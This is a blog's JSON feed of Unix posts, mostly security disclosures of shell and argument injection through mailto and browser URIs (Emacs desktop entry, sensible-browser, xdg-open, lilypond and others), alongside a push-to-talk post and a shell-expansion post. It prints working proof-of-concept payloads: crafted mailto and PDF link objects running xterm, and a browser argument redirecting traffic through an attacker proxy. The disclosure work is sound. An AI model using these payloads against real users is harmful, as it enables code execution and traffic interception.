{"version": "https://jsonfeed.org/version/1", "title": "/dev/posts/ - Tag index - unix", "home_page_url": "https://www.gabriel.urdhr.fr", "feed_url": "/tags/unix/feed.json", "items": [{"id": "http://www.gabriel.urdhr.fr/2023/06/08/emacsclient-mail-shell-elisp-injections/", "title": "Shell command and Emacs Lisp injection in emacsclient-mail.desktop", "url": "https://www.gabriel.urdhr.fr/2023/06/08/emacsclient-mail-shell-elisp-injections/", "date_published": "2023-06-08T23:43:56+02:00", "date_modified": "2023-06-08T23:43:56+02:00", "tags": ["computer", "security", "emacs", "shell", "unix", "freedesktop"], "content_html": "
Shell command injection and Emacs Lisp injection vulnerabilities\nin one of the Emacs Desktop Entry (emacsclient-mail.desktop)\nleading to arbitrary code execution\nthrough a crafted mailto:
URI.
One of the Emacs Desktop Entry\n(emacsclient-mail.desktop
)\nis vulnerable to shell command injection\nand Emacs Lisp injection\nthrough a crafted mailto:
URI.\nThis can for example be exploited by a remote attacker\nthrough a hyperlink in a malicious PDF\n(as demonstrated using Evince and Okular).\nThis can be used to execute arbitrary code on the user's behalf.
Vulnerability | \nCVE | \nAffected | \nFixed in | \n
---|---|---|---|
Shell command injection through emacsclient-mail.desktop | \nCVE-2023-27985 | \n28.1 to 28.x | \n29.0.90 | \n
Emacs Lisp injection through emacsclient-mail.desktop | \nCVE-2023-27986 | \n28.1 to 28.x | \n29.0.90 | \n
The Desktop entry (emacsclient-mail.desktop
) is as follows:
[Desktop Entry]\nCategories=Network;Email;\nComment=GNU Emacs is an extensible, customizable text editor - and more\nExec=sh -c \"exec emacsclient --alternate-editor= --display=\\\\\"\\\\$DISPLAY\\\\\" --eval \\\\\\\\(message-mailto\\\\\\\\ \\\\\\\\\\\\\"%u\\\\\\\\\\\\\"\\\\\\\\)\"\nIcon=emacs\nName=Emacs (Mail, Client)\nMimeType=x-scheme-handler/mailto;\nNoDisplay=true\nTerminal=false\nType=Application\nKeywords=emacsclient;\nActions=new-window;new-instance;\n\n# ...\n
\nThe Exec
stanza is vulnerable to injection of shell commands\nand Emacs Lisp code.
The shell command injection may be demonstrated on KDE with the following command:
\nkde-open \"mailto:foo@example.com:\\$(xterm -e nyancat)\"\n
\nThis executes the following shell command:
\nexec emacsclient --alternate-editor= --display=\"$DISPLAY\" --eval \\(message-mailto\\ \\\"mailto:foo@example.com:$(xterm -e nyancat)\\\"\\)\n
\nwhich in turns executes:
\nxterm -e nyancat\n
\nThis may for example be triggered from Okular\nunder KDE (i.e. through kde-open
).\nClicking on a malicious URI contained in a malicious PDF results in the execution\nof the embedded shell command:
XDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 okular test.pdf\nXDG_CURRENT_DESKTOP=KDE KDE_SESSION_VERSION=4 xdg-open \"mailto:foo@example.com:\\$(xterm -e nyancat)\"\n
\nWith a PDF containing such a snippet:
\n4 0 obj\n<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com:\\$(xterm -e nyancat))>>\nendobj\n
\nThis has been introduced\nby commit b1b05c82.\nThis has beed fixed in commit d3209119\nas part of Emacs Bug #60204\n(though the security impact of this bug was not noticed at this point):
\nExec=sh -c \"exec emacsclient --alternate-editor= --display=\\\\\"\\\\$DISPLAY\\\\\" --eval \\\\\"(message-mailto \\\\\\\\\\\\\"\\\\$1\\\\\\\\\\\\\")\\\\\"\" sh %u\n
\nThis vulnerability has been observed with:
\nkde-open
4:5.27.0-1This patch fixes the shell command injection.\nHowever, it is still vulnerable to Emacs Lisp injection resulting to arbitrary code execution.
\nThe new Exec
stanza in the desktop entry is:
Exec=sh -c \"exec emacsclient --alternate-editor= --display=\\\\\"\\\\$DISPLAY\\\\\" --eval \\\\\"(message-mailto \\\\\\\\\\\\\"\\\\$1\\\\\\\\\\\\\")\\\\\"\" sh %u\n
\nAny of these commands demonstrate Emacs Lisp injection\nand trigger the execution of an external program:
\ngio open 'mailto:foo@example.com\"(shell-command-to-string\"xterm -e nyancat\")\"'\nXDG_CURRENT_DESKTOP=GNOME3 xdg-open 'mailto:foo@example.com\"(shell-command-to-string\"xterm -e nyancat\")\")'\n
\nThis executes the following shell command:
\nsh -c \"exec emacsclient --alternate-editor= --display=\\\"$DISPLAY\\\" --eval \\\"(message-mailto \\\\\\\"$1\\\\\\\")\\\"\" \\\n sh 'mailto:foo@example.com\"(shell-command-to-string\"xterm -e nyancat\")\"'\n
\nThis executes the following Lisp code:
\n(message-mailto \"mailto:foo@example.com\"(shell-command-to-string\"xterm -e nyancat\")\"\")\n
\nwhich triggers a shell command:
\nxterm -e nyancat\n
\nNote: evaluation of the inner code
\nFor some reason on some installations, the inner code (shell-command-to-string
)\nis not evaluated apparently because the number of arguments for message-mailto
is\nnot correct: (wrong-number-of-arguments message-mailto 3)
.
While this works:
\n(message-mailto (shell-command-to-string\"xterm -e nyancat\"))\n
\nThis does not work:
\n(message-mailto \"mailto:foo@example.com\" (shell-command-to-string\"xterm -e nyancat\"))\n
\nI don't know why this happens.
\nThis can be triggered from Evince under GNOME (i.e. through gio open
):
XDG_CURRENT_DESKTOP=GNOME3 evince test.pdf\n
\nWith a PDF containing such a snippet:
\n4 0 obj\n<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(mailto:foo@example.com\"(shell-command-to-string\"xterm -e nyancat\")\")>>\n>>\nendobj\n
\nThis is fixed\nin commit 3c1693d08b0a71d40a77e7b40c0ebc42dca2d2cc:
\n# We want to pass the following commands to the shell wrapper:\n# u=${1//\\\\/\\\\\\\\}; u=${u//\\\"/\\\\\\\"}; exec emacsclient --alternate-editor= --display=\"$DISPLAY\" --eval \"(message-mailto \\\"$u\\\")\"\n# Special chars '\"', '$', and '\\' must be escaped as '\\\\\"', '\\\\$', and '\\\\\\\\'.\nExec=bash -c \"u=\\\\${1//\\\\\\\\\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\}; u=\\\\${u//\\\\\\\\\\\\\"/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"}; exec emacsclient --alternate-editor= --display=\\\\\"\\\\$DISPLAY\\\\\" --eval \\\\\"(message-mailto \\\\\\\\\\\\\"\\\\$u\\\\\\\\\\\\\")\\\\\"\" bash %u\n
\nThis fix was later modified in\ncommit c8ec0017\nin order to avoid depending on bash:
\nExec=sh -c \"u=\\\\$(echo \\\\\"\\\\$1\\\\\" | sed 's/[\\\\\\\\\\\\\"]/\\\\\\\\\\\\\\\\&/g'); exec emacsclient --alternate-editor= --display=\\\\\"\\\\$DISPLAY\\\\\" --eval \\\\\"(message-mailto \\\\\\\\\\\\\"\\\\$u\\\\\\\\\\\\\")\\\\\"\" sh %u\n
\nThis vulnerability has been observed with:
\ngio open
2.74.5-1It is interesting that in this case, the vulnerablity was introduced\nby the Desktop Entry file.\nThe security impact of such files may easily be overlooked.
\nYou can modify the default Desktop entry used for a given URI scheme (or MIME type)\nby editing ~/.config/mimeapps.list
.
The following commands may be used to invoke programs to handle files and/or URIs:
\nxdg-open
is script which delegates to several of the other programs mentionned here depending on the desktop environment,kde-open
and kde-open5
are used under KDE;kfmclient exec
is used under old versions of KDE;dde-open
is used under Deepin;enlightenment_open
is used under Enlightenment;gio open
is used under GNOME;gvfs-open
is used under GNOME as well;gnome-open
is used under GNOME as well;exo-open
is used under XFCE;mimeopen
is a Perl utility;dex
is a utility for Desktop entries.Some scripts I wrote to enable system-wide push-to-talk\n(for X11 and PulseAudio).\nSome people might find it useful for the ongoing lockdown.
\nSome Voice over IP (VoIP) software have builtin support for push-to-talk.\nIn this mode, a global keyboard hotkey must be be held while speaking.\nThis is quite useful when in a noisy environment\nand/or with suboptimal mics.
\nSome programs with support for this:
\nMost programs don't support this.\nThis is especially true for browser-based VoIP software because as there is currently\nnot web API to register a global keyboard hotkey[1]\nas far as I know.
\nSo I wrote two Python scripts for PulseAudio.
\nThe first one\nimplements push-to-talk based on some keyboard key.\n(i.e. you have to hold the key while you are talking):
\npushtotalk --key \"F1\"\n
\nIt is intended for PulseAudio\nand X11 but it should be quite easy to adapt this to other sound and GUI systems.
\nTip: you can se xev
to find the key symbol name.
The second one\njust toggles the mute state of the default PulseAudio source\nand provides a visual feedback (notification).\nIt is intended to be bound to some global keyboard hotkey.
\nFor example using a script\nbased on keybinder:
\nkeybinder \"<Control>m\" pulse-mute-toggle\n
\nSimply toggling the audio source can be done with:
\npactl set-sink-mute @DEFAULT_SOURCE@ toggle\n
\nGetting the notification of the state is important because otherwise you might\nend being in the wrong state.\nThere is no pactl get-sink-mute @DEFAULT_SOURCE@
command\nwhich is why it is not an absolutely straightforward shell script[2].
This is why this feature is apparently available on the native Discord application\nbut not on the web one. \u21a9\ufe0e
\nIt can be done by:
\npacmd list-sources
or similar (which is cumbersome);I decided to use the D-Bus interface\n(which is sadly not enabled by default). \u21a9\ufe0e
\nI thought I was understanding pretty well how bash argument processing and\nvarious expansions is supposed to behave. Apparently, there are still\nsubtleties which tricks me, sometimes.
\nQuestion: what is the (standard) output of the following shell command? \ud83e\udd14
\na='*' ; echo $a\n
\nThe answer is below this anti-spoiler protection.
\nHere is the command again:
\na='*' ; echo $a\n
\nI would have said that the answer was *
, obviously.\nBut this is wrong.\nThe output is the list of files in the current directory. \ud83d\ude32
The content of the a
variable is *
because the assignment is single-quoted.\nFor example, this shell command does output *
:
a='*' ; echo \"$a\"\n
\nHowever, in echo $a
, *
is pathname-expanded into the list of files\nin the current directory.\nI would not have thought that pathname expansion would trigger in this case.
This is indeed the behaviour specified for POSIX shell\nWord Expansions:
\n\n\nThe order of word expansion shall be as follows:
\n\n
\n- Tilde expansion (see Tilde Expansion), parameter expansion\n(see Parameter Expansion), command substitution (see Command Substitution),\nand arithmetic expansion (see Arithmetic Expansion) shall be performed,\nbeginning to end. See item 5 in Token Recognition.
\n- Field splitting (see Field Splitting) shall be performed on the portions\nof the fields generated by step 1, unless IFS is null.
\n- Pathname expansion (see Pathname Expansion) shall be performed,\nunless set
\n-f
is in effect.- Quote removal (see Quote Removal) shall always be performed last.
\n
Pathname expansions happens after variable expansion.\nI think I would have said it was done before variable expansion\nand command substitution.
Edit: I think what I actually found surprising is that\npattern matching characters\ncoming from expansions are actually active\npattern matching characters (instead of counting as ordinary characters).
\nAbout Parameter Expansion\nPOSIX mandates that double-quotes prevents pathanme expansions from happening\n(i.e. if there is no quoting pahtname expansion happens):
\n\n\nIf a parameter expansion occurs inside double-quotes:\nPathname expansion shall not be performed on the results of the expansion.
\n
Of course,\nsingle quotes prevents pathname expansion\nfrom happening\n(in addition to preventing variable expansion and otherthings from happening):
\n\n\nEnclosing characters in single-quotes (
\n''
) shall preserve the literal value\nof each character within the single-quotes. A single-quote cannot occur within\nsingle-quotes.
This is not super surprising if we think about, for example:
\n# List all HTML files:\next=html ; echo *.$ext\n
\nThis works as well with pattern matching:
\next=html\nfor a in \"$@\"; do\n case \"$a\" in\n *.$ext)\n echo \"Interesting file: $a\"\n ;;\n *)\n echo \"Boring file: $a\"\n ;;\n esac\ndone\n
\nAbout\nCommand Substitution\nPOSIX mandates:
\n\n\nIf a command substitution occurs inside double-quotes, field splitting\nand pathname expansion shall not be performed on the results of the substitution.
\n
Which means that this command\noutputs the list of file in the current directory as well:
\necho $(echo '*')\n
\nIt took me some time to understand what\nwas happening when debugging a slightly more convoluted example\nfrom YunoHost:
\nynh_mysql_execute_as_root \"GRANT ALL PRIVILEGES ON *.* TO '$db_admin_user'@'localhost' IDENTIFIED BY '$db_admin_pwd' WITH GRANT OPTION;\n FLUSH PRIVILEGES;\" mysql\n
\nInside ynh_mysql_execute_as_root
, the parameters are assigned to local\nvariables with this (bash) code:
arguments[$i]=\"${arguments[$i]//\\\"/\\\\\\\"}\"\narguments[$i]=\"${arguments[$i]//$/\\\\\\$}\"\neval ${option_var}+=\\\"${arguments[$i]}\\\"\n
\nThis code is obviously vulnerable to shell command code injection\nin the eval
line\nthrough backticks and backslashes.\nWhat surprised me\nis that pathname expansion was happening in *.*
.\nThis is because ${arguments[$i]}
is not double-quoted in the last line\nand this is completely unrelated to eval
.
For reference, the correct and simple way to proceed,\nwhich avoids unwanted command injection and pathname expansion is:
\neval ${option_var}+='\"${arguments[$i]}\"'\n
\nUnquoted variable expansion and command substitutions\nare trickier than I thought.
\nWhen variable expansion or command substitution happens unquoted,\npathname expansion might possibly happen. I think this might have security\nimplications for some shell scripts out there.
\n"}, {"id": "http://www.gabriel.urdhr.fr/2018/05/30/more-browser-injections/", "title": "More example of argument and shell command injections in browser invocation", "url": "https://www.gabriel.urdhr.fr/2018/05/30/more-browser-injections/", "date_published": "2018-05-30T00:00:00+02:00", "date_modified": "2018-05-30T00:00:00+02:00", "tags": ["computer", "unix", "debian", "security", "shell", "vulnerability"], "content_html": "In the previous episode, I talked about\nsome argument and shell command injections vulnerabilities\nthrough URIs passed to browsers.\nHere I am evaluating some other CVEs\nwhich were registered at the same time (not by me).
\nIn ScummVM, we have:
\nbool OSystem_POSIX::openUrl(const Common::String &url) {\n\t// inspired by Qt's \"qdesktopservices_x11.cpp\"\n\n\t// try \"standards\"\n\tif (launchBrowser(\"xdg-open\", url))\n\t\treturn true;\n\tif (launchBrowser(getenv(\"DEFAULT_BROWSER\"), url))\n\t\treturn true;\n\tif (launchBrowser(getenv(\"BROWSER\"), url))\n\t\treturn true;\n\n\t// try desktop environment specific tools\n\tif (launchBrowser(\"gnome-open\", url)) // gnome\n\t\treturn true;\n\tif (launchBrowser(\"kfmclient openURL\", url)) // kde\n\t\treturn true;\n\tif (launchBrowser(\"exo-open\", url)) // xfce\n\t\treturn true;\n\n\t// try browser names\n\tif (launchBrowser(\"firefox\", url))\n\t\treturn true;\n\tif (launchBrowser(\"mozilla\", url))\n\t\treturn true;\n\tif (launchBrowser(\"netscape\", url))\n\t\treturn true;\n\tif (launchBrowser(\"opera\", url))\n\t\treturn true;\n\tif (launchBrowser(\"chromium-browser\", url))\n\t\treturn true;\n\tif (launchBrowser(\"google-chrome\", url))\n\t\treturn true;\n\n\twarning(\"openUrl() (POSIX) failed to open URL\");\n\treturn false;\n}\n\nbool OSystem_POSIX::launchBrowser(const Common::String& client, const Common::String &url) {\n\t// FIXME: system's input must be heavily escaped\n\t// well, when url's specified by user\n\t// it's OK now (urls are hardcoded somewhere in GUI)\n\tCommon::String cmd = client + \" \" + url;\n\treturn (system(cmd.c_str()) != -1);\n}\n
\nOSystem_POSIX::openUrl()
calls system()
without quoting the URI.\nThis is vulnerable to shell command injection but,\nas stated in the comment, it is currently not a problem in practice\nbecause the only calls of openUrl()
are:
g_system->openUrl(\"http://www.amazon.de/EuroVideo-Bildprogramm-GmbH-Full-Pipe/dp/B003TO51YE/ref=sr_1_1?ie=UTF8&s=videogames&qid=1279207213&sr=8-1\");\ng_system->openUrl(\"http://pipestudio.ru/fullpipe/\");\ng_system->openUrl(\"http://scummvm.org/\")\ng_system->openUrl(getUrl())\n
\nwith:
\nCommon::String StorageWizardDialog::getUrl() const {\n\tCommon::String url = \"https://www.scummvm.org/c/\";\n\tswitch (_storageId) {\n\tcase Cloud::kStorageDropboxId:\n\t\turl += \"db\";\n\t\tbreak;\n\tcase Cloud::kStorageOneDriveId:\n\t\turl += \"od\";\n\t\tbreak;\n\tcase Cloud::kStorageGoogleDriveId:\n\t\turl += \"gd\";\n\t\tbreak;\n\tcase Cloud::kStorageBoxId:\n\t\turl += \"bx\";\n\t\tbreak;\n\t}\n\n\tif (Cloud::CloudManager::couldUseLocalServer())\n\t\turl += \"s\";\n\n\treturn url;\n}\n
\nThe only case where shell commands are actually injected is the first one where\nit does something like:
\nxdg-open https://www.amazon.de/EuroVideo-Bildprogramm-GmbH-Full-Pipe/dp/B003TO51YE/ref=sr_1_1?ie=UTF8&s=videogames&qid=1279207213&sr=8-1\n
\nwhich make these assignments in subshells (which is quite harmless):
\nie=UTF8\ns=videogames\nqid=1279207213\nsr=8-1\n
\nReferences:
\n\nIn GNU GLOBAL, it looked like this:
\nsnprintf(com, sizeof(com), \"%s \\\"%s\\\"\", browser, url);\nsystem(com);\n
\nHere, the URI is double-quoted but this is not enough:
\n$(...)
.For v6.6.1,\neach argument is quoted with quote_shell()
in order to properly escape\nthe shell metacharacters:
strbuf_puts(sb, quote_shell(browser));\nstrbuf_putc(sb, ' ');\nstrbuf_puts(sb, quote_shell(url));\nsystem(strbuf_value(sb));\n
\nIn v6.6.2\nthis was changed to using execvp()
:
argv[0] = (char *)browser;\nargv[1] = (char *)url;\nargv[2] = NULL;\nexecvp(browser, argv);\n
\nUsing execvp()
is much better than relying on system()
and using\nan error-prone escaping of the URI to prevent injections.
References:
\n\nIn gjots2, the vulnerable code is:
\ndef _run_browser_on(self, url):\n if self.debug:\n print inspect.getframeinfo(inspect.currentframe())[2]\n browser = self._get_browser()\n if browser:\n os.system(browser + \" '\" + url + \"' &\")\n else:\n self.msg(\"Can't run a browser\")\n return 0\n
\nThe URI is single-quoted.
\nWe can use single-quotes in the URI to injection commands.\nFor example, opening link in gjots2 spawns a xterm:
\nhttp://www.example.com/'&xterm'\n
\nReferences:
\n\nIn AbiWord, we have:
\nGError *err = NULL;\n#if GTK_CHECK_VERSION(2,14,0)\nif(!gtk_show_uri (NULL, url, GDK_CURRENT_TIME, &err)) {\n fallback_open_uri(url, &err);\n}\nreturn err;\n#elif defined(WITH_GNOMEVFS)\ngnome_vfs_url_show (url);\nreturn err;\n#else\nfallback_open_uri(url, &err);\nreturn err;\n#endif\n
\nThe problematic code is supposed to be in fallback_open_uri()
:
gint argc;\ngchar **argv = NULL;\nchar *cmd_line = g_strconcat (browser, \" %1\", NULL);\n\nif (g_shell_parse_argv (cmd_line, &argc, &argv, err)) {\n /* check for '%1' in an argument and substitute the url\n * otherwise append it */\n gint i;\n char *tmp;\n\n for (i = 1 ; i < argc ; i++)\n if (NULL != (tmp = strstr (argv[i], \"%1\"))) {\n *tmp = '\\0';\n tmp = g_strconcat (argv[i],\n (clean_url != NULL) ? (char const *)clean_url : url,\n tmp+2, NULL);\n g_free (argv[i]);\n argv[i] = tmp;\n break;\n }\n\n /* there was actually a %1, drop the one we added */\n if (i != argc-1) {\n g_free (argv[argc-1]);\n argv[argc-1] = NULL;\n }\n g_spawn_async (NULL, argv, NULL, G_SPAWN_SEARCH_PATH,\n NULL, NULL, NULL, err);\n g_strfreev (argv);\n}\ng_free (cmd_line);\n
\nThis code seems correct with respect to injection through the URI:\nthe URI string cannot be expanded into multiple arguments\n(no word splitting) and is not passed to system()
.
I think this code is safe.\nI could not trigger any injection through AbiWord.\nI tested gtk_show_uri()
, fallback_open_uri()
and gnome_vfs_url_show()
\nin isolation and I could not trigger any injection through the URI.
References:
\n\nIn FontForge, the help()
function is vulnerable.\nThe URI is double-quoted:
temp = malloc(strlen(browser) + strlen(fullspec) + 20);\nsprintf( temp, strcmp(browser,\"kfmclient openURL\")==0 ? \"%s \\\"%s\\\" &\" : \"\\\"%s\\\" \\\"%s\\\" &\", browser, fullspec );\nsystem(temp);\n
\nIn practice, it is always used with path where this is safe to do.
\nReferences:
\nThe code is:
\nlet (browser: (_, _, _) format) = \"@BROWSER_COMMAND@ %s\";;\n\n(**The default function to open a www browser.*)\nlet default_browse s =\n let command = Printf.sprintf browser s in\n Sys.command command\nlet current_browse = ref default_browse\n\nlet browse s = !current_browse s\n
\nsystem()
is called without any quotation of the URI.
Example:
\nopen Batteries;;\nopen BatteriesConfig;;\nbrowse \"http://www.example.com/&xterm\";;\n
\nCompiled with:
\nocamlfind ocamlc -package batteries -linkpkg browser2.ml -o browser2\n
\nReferences:
\nThe code is:
\nclass GenericBrowser(BaseBrowser):\n \"\"\"Class for all browsers started with a command\n and without remote functionality.\"\"\"\n\n def __init__(self, name):\n if isinstance(name, str):\n self.name = name\n self.args = [\"%s\"]\n else:\n # name should be a list with arguments\n self.name = name[0]\n self.args = name[1:]\n self.basename = os.path.basename(self.name)\n\n def open(self, url, new=0, autoraise=True):\n cmdline = [self.name] + [arg.replace(\"%s\", url)\n for arg in self.args]\n try:\n if sys.platform[:3] == 'win':\n p = subprocess.Popen(cmdline)\n else:\n p = subprocess.Popen(cmdline, close_fds=True)\n return not p.wait()\n except OSError:\n return False\n
\nA note in the CVE says:
\n\n\nNOTE: a software maintainer indicates that exploitation is impossible\nbecause the code relies on subprocess.Popen and the default
\nshell=False
\nsetting.
Popen
is indeed passed an array of arguments which are passed to execve()
.\nThere is not argument splitting and no shell is involved\nso this code is not vulnerable to URI-based injections.
References:
\nI have no idea what mtxrun
is supposed to do but it looks\nlike it is vulnerable because the URI is not quoted:
local launchers={\n windows=\"start %s\",\n macosx=\"open %s\",\n unix=\"$BROWSER %s &> /dev/null &\",\n}\nfunction os.launch(str)\n execute(format(launchers[os.name] or launchers.unix,str))\nend\n
\nReferences:
\nsystem()
but not vulnerable in practicesystem()
call with double-quoted URIsystem()
call with single-quoted URIsystem()
call with double-quoted URI but not vulnerable in practicesystem()
callexecve()
)system()
callI found an argument injection vulnerability\nrelated to the handling of the BROWSER
environment variable\nin sensible-browser
.\nThis lead me (and others) to a a few other argument and shell command injection\nvulnerabilities in BROWSER
processing and browser invocation in general.
Overview:
\nBROWSER
variable environmentThe BROWSER
environment variable is used as a way to specify the user's\npreferred browser. The specific handling of this variable is not consistent\nacross programs:
BROWSER=firefox
);BROWSER=firefox:chromium
);%s
token which is expanded into the URI\n(BROWSER='netscape -raise -remote \"openURL(%s,new-window)\":lynx'
).As was already noted in 2001,\nnaively implementing support for this environment variable\n(and especially the %s
expansion) can lead to injection vulnerabilities:
\n\nEric Raymond has proposed the BROWSER convention for Unix-like systems,\nwhich lets users specify their browser preferences and lets developers easily\ninvoke those browsers. In general, this is a great idea.\nUnfortunately, as specified it has horrendous security flaws;\ndocuments containing hypertext links like
\n; /bin/rm -fr ~
\nwill erase all of a user's files when the user selects it!
In contrast, the .desktop
file specification\nclearly specifies\nhow argument expansion and word splitting is supposed to happen\nwhen processing .desktop
files\nin a way which is not vulnerable to injection attacks.
sensible-browser
(CVE-2017-17512)sensible-browser
is a simple program which tries to guess a suitable browser\nto open a given URI. You call it like:
sensible-browser http://www.example.com/\n
\nand it ultimately calls something like:
\nfirefox http://www.example.com/\n
\nThe actual browser called depends on the desktop environment (and its\nconfiguration) and some environment variables.
\nWhile trying to understand how I could configure the browser to use,\nI found this snippet:
\nif test -n \"$BROWSER\"; then\n OLDIFS=\"$IFS\"\n IFS=:\n for i in $BROWSER; do\n case \"$i\" in\n (*%s*)\n :\n ;;\n (*)\n i=\"$i %s\"\n ;;\n esac\n IFS=\"$OLDIFS\"\n cmd=$(printf \"$i\\n\" \"$URL\")\n $cmd && exit 0\n done\nfi\n
\nThe idea is that when the BROWSER
environment variable is set, it is taken\nas a (colon-separated) list of browsers which are tried in turn.\nMorever if %s
in present in one of the browser strings,\nit is replaced with the URI.
The problem is that if $URL
contains some spaces (or other IFS
characters)\nthe URL will be split in several arguments.
The interesting lines are:
\ncmd=$(printf \"$i\\n\" \"$URL\")\n$cmd && exit 0\n
\nAn attacker could inject additional arguments in the browser call.
\nFor example, this command opens a Chromium window in incognito mode:
\nBROWSER=chromium sensible-browser \"http://www.example.com/ --incognito\"\n
\nOne could argue that this URI is invalid and that this is not a problem.\nHowever, if the caller of sensible-browser
does not properly validate the URI,\nan attacker could craft a broken URI which when called\nwill add extra arguments when calling the browser.
Emacs might call sensible-browser
with an invalid URI.
First, we configure it to use open links with sensible-browser
:
(setq browse-url-browser-function (quote browse-url-generic))\n(setq browse-url-generic-program \"sensible-browser\")\n
\nNow, an org-mode
file like this one will open Chromium in incognito mode:
[[http://www.example.com/ --incognito][test]]\n
\nNote: I was able to trigger this with org-mode
9.1.2 as shipped in the\nin Debian elpa-org
package. This does not happen with org-mode
8.2.10\nwhich was shipped in the emacs25
package.
This particular example is not very dangerous and the injection is easy\nto notice. However, other injected arguments can be more harmful and more\ninsiduous.
\nClicking on the link of this\nEmacs org-mode\nfile launches Chromium with an alternative Proxy Auto-Configuration (PAC) file:
\n[[http://www.example.com/ --proxy-pac-file=http://dangerous.example.com/proxy.pac][test]]\n
\nNothing is notifying the user that an alternative PAC file is in use.
\nAn attacker could use this type of URI to forward all the browser traffic\nto a server under their control and effectively MITM all the browser traffic:
\nfunction FindProxyForURL(url, host)\n{\n return \"SOCKS mitm.example.com:9080\";\n}\n
\nOf course, for HTTPS websites, the attacker still cannot MITM the user unless\nthe users accepts a bogus certificate.
\nAlternatively, you can simply\npass a --proxy-server
argument\nto set a proxy without using a PAC file.
Update 2023-06-08:\nanother options it to use\nchrome --gpu-launcher=\"command\"
for arbitray code execution.
A possible fix would be for sensible-browser to actually check that the\nURL parameter does not contain any IFS character.
\nThe fix currently deployed is to remove support for %s
-expansion altogether\n(as well as support for a list of browsersin the BROWSER
variable):
if test -n \"$BROWSER\"; then\n ${BROWSER} \"$@\"\n ret=\"$?\"\n if [ \"$ret\" -ne 126 ] && [ \"$ret\" -ne 127 ]; then\n exit \"$ret\"\n fi\nfi\n
\nxdg-open
(CVE-2017-18266)xdg-open
is similar to sensible-browser
. It opens files or URIs with some\nprograms depending on the desktop-environment.\nIn some cases, it falls back to using the BROWSER
environment variable:
open_envvar()\n{\n local oldifs=\"$IFS\"\n local browser browser_with_arg\n\n IFS=\":\"\n for browser in $BROWSER; do\n IFS=\"$oldifs\"\n\n if [ -z \"$browser\" ]; then\n continue\n fi\n\n if echo \"$browser\" | grep -q %s; then\n $(printf \"$browser\" \"$1\")\n else\n $browser \"$1\"\n fi\n\n if [ $? -eq 0 ]; then\n exit_success\n fi\n done\n}\n
\nThe interesting bit is:
\n$(printf \"$browser\" \"$1\")\n
\nThis line is vulnerable to argument injection like the sensible-browser
case.
This bug was reported in the xdg-utils bugtracker as bug\n#103807.
\nI proposed this very simple fix:
\nif echo \"$browser\" | grep -q %s; then\n # Avoid argument injection.\n # See https://bugs.freedesktop.org/show_bug.cgi?id=103807\n # URIs don't have IFS characters spaces anyway.\n has_single_argument $1 && $(printf \"$browser\" \"$1\")\nelse\n $browser \"$1\"\nfi\n
\nwhere has_single_argument()
is defined has:
has_single_argument()\n{\n test $# = 1\n}\n
\nAnother (better) solution\ncurrently shipped in Debian is:
\nurl=\"$1\"\nif echo \"$browser\" | grep -q %s; then\n shift $#\n for arg in $browser; do\n set -- \"$@\" \"$(printf -- \"$arg\" \"$url\")\"\n done\n \"$@\"\nelse\n $browser \"$url\"\nfi\n
\nI started checking if the same vulnerability could be found in other programs\nusing Debian code search.\nThis led me to lilypond-invoke-editor
.
This is a helper script expected to be set as a URI handler in a PDF viewer.\nIt handles some special lilypond URIs\n(textedit://FILE:LINE:CHAR:COLUMN
).\nIt forwards other URIs to some real browser using:
(define (run-browser uri)\n (system\n (if (getenv \"BROWSER\")\n (format #f \"~a ~a\" (getenv \"BROWSER\") uri)\n (format #f \"firefox -remote 'OpenURL(~a,new-tab)'\" uri))))\n
\nThe scheme system
function is equivalent to the C system()
:\nit passes the argument to the shell (with sh -c
).
This case is worse than the previous ones.\nNot only can an attacker inject extra arguments\n(provided the caller can pass IFS chracters)\nbut it is possible to inject arbitrary shell commands:
\nBROWSER=\"chromium\" lilypond-invoke-editor \"http://www.example.com/ & xterm\"\n
\nIt even works with valid URIs:
\nBROWSER=\"chromium\" lilypond-invoke-editor \"http://www.example.com/&xterm\"\n
\nWe can generate a simple PDF file which contains a link\nwhich calls xterm through lilypond-invoke-editor
:
1 0 obj\n<</Type/Page/Parent 5 0 R/Resources 12 0 R/MediaBox[0 0 595.275590551181 841.861417322835]/Annots[\n4 0 R ]\n/Group<</S/Transparency/CS/DeviceRGB/I true>>/Contents 2 0 R>>\nendobj\n\n% ...\n\n4 0 obj\n<</Type/Annot/Subtype/Link/Border[0 0 0]/Rect[56 772.4 77.3 785.1]/A<</Type/Action/S/URI/URI(http://www.example.com/&xterm)>>\n>>\nendobj\n
\nClicking on the link from mupdf
invokes the xterm command when using lilypond-invoke-editor
:
BROWSER=\"lilypond-invoke-editor\" mupdf xterm-inject.pdf\n
\nThe current fix in Debian is:
\n(define (run-browser uri)\n (if (getenv \"BROWSER\")\n (system*\n (getenv \"BROWSER\")\n uri)\n (system*\n \"firefox\"\n \"-remote\"\n (format #f \"OpenUrl(~a,new-tab)\" uri))))\n
\nsystem*
is similar to posix_spawnp()
: it takes a list of arguments\nand does something like fork()
, execvp()
and wait()
\n(without going through a shell interpreter).
Someone apparently took over the job of finding similar issues in other packages\nbecause a whole range of related CVE has been registered at the same time:
\nSome of them are disputed.\nI will look at some of them in a next episode.\nThe summary of the next episode is that not all of them are valid.
\nThese vulnerabilities can be split in two classes.
\nArgument injection can happen when IFS present in the URI are expanded\ninto multiple arguments.\nThis usually happen because of unquoted shell expansion\nof non-validated strings:
\nmy-command $some_untrusted_input\n
\nIFS characters are not in valid URIs so if the URI\nwas already validated somehow in the caller this is not be an issue.\nAs we have seen, some caller might not properly validate the URI string.
\nShell command injection can happen when shell metacharacters\n($
, <
, >
, ;
, &
, &&
, |
, ||
, etc.) found in the URI\nare passed without proper escaping to the shell interpreter:
system()
library call (C), os.system()
(Python), etc.eval
builtin;sh -c
explicitly.A typical example would be be (in Python):
\nos.system(\"my-command \" + url)\n
\nOr in shell:
\neval my-command \"$url\"\n
\nIn some cases, some escaping is done such as\nin gjots2:
\nos.system(browser + \" '\" + url + \"' &\")\n
\nThis simple quoting is not enough however because you can escape out of it\nusing single-quotes in the untrusted input. If you want to to that, you need\nto properly escape\nquotes and backslashes in the input as well:
\nos.system(\"{} {} \".format(browser, shlex.quote(url)))\n
\nUsing system()
is often a bad idea and you would better use:
posix_spawn()
